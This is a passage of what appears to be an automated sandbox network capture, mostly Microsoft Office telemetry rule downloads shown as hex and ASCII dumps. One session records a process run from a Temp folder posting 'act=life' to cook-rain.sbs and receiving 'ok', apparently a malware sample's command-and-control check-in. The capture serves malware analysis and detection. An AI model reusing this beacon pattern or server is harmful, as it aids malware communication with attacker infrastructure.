4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	62497	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:19 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:19 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 107b52fc-c01e-00a2-5b8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030819Z-r1d97b99577hc74hhC1TEBvbns0000000870000000002kbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:19 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	62498	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:19 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:19 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e99758fe-d01e-0065-348c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030819Z-185f5d8b95crwqd8hC1NYCps6800000009hg00000000r8xx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	62499	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:19 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:19 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:19 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 6d467d74-a01e-0050-5286-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030819Z-1777c6cb754j8gqphC1TEB5bf800000008zg0000000055gm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:19 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	62500	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:19 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:19 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:19 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: f2376ea7-e01e-000c-078c-3a8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030819Z-185f5d8b95crl6swhC1NYC3ueg00000009ng000000010agm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:19 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	62501	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:19 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:19 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 1ebeca68-b01e-0002-5b8c-3a1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030819Z-185f5d8b95cjbkr4hC1NYCeu2400000009gg00000000bdvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:20 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	62502	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:20 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:20 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 270c322f-601e-00ab-4d8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030820Z-1777c6cb7544nvmshC1TEBf7qc00000008x0000000002fnt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:20 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	62503	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:20 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:20 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: c9276c1c-a01e-000d-508c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030820Z-185f5d8b95c95vpshC1NYC759c00000009ng00000000drwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:20 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	62504	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:20 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:20 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:20 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 082f2b53-301e-005d-228c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030820Z-1777c6cb7549j9hhhC1TEBzmcc000000090g000000001mxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:20 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	62505	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:20 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: ef61d792-601e-0002-0d8c-3aa786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030820Z-r1d97b9957789g82hC1TEBstx0000000083g00000000nu6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:20 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	62506	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:20 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: 107b574b-c01e-00a2-0a8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030820Z-185f5d8b95csd4bwhC1NYCq7dc00000009gg00000000nyfk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	62507	188.114.97.3	443	6472	C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:20 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-20 03:08:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-20 03:08:21 UTC	978	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7qifhvdi1rc6sgmfevldvvlmli; expires=Sat, 15-Mar-2025 20:54:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TCnqzp9OjuqGNlgyuMGG7OOFv5AcdQ4zEc7XerfjVT17%2B8Lt%2F0PtWWwwPGXkYkJJfrgT5xZ1u9DOT8k0I3eCPG21FZXIRWL73Z0HJsoKLl8YdB4qG7czxIvptnCoMJeL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e553c25bd318c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1850&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1515308&cwnd=184&unsent_bytes=0&cid=e0aa488e55841e5d&ts=476&x=0"
2024-11-20 03:08:21 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-20 03:08:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	62512	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:21 UTC	192	OUT	GET /rules/rule702900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:21 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:21 GMT Content-Type: text/xml Content-Length: 1374 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE539933F" x-ms-request-id: 5c786813-401e-0083-3a8c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030821Z-185f5d8b95cdtclvhC1NYC4rmc00000009ng00000000xwwa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
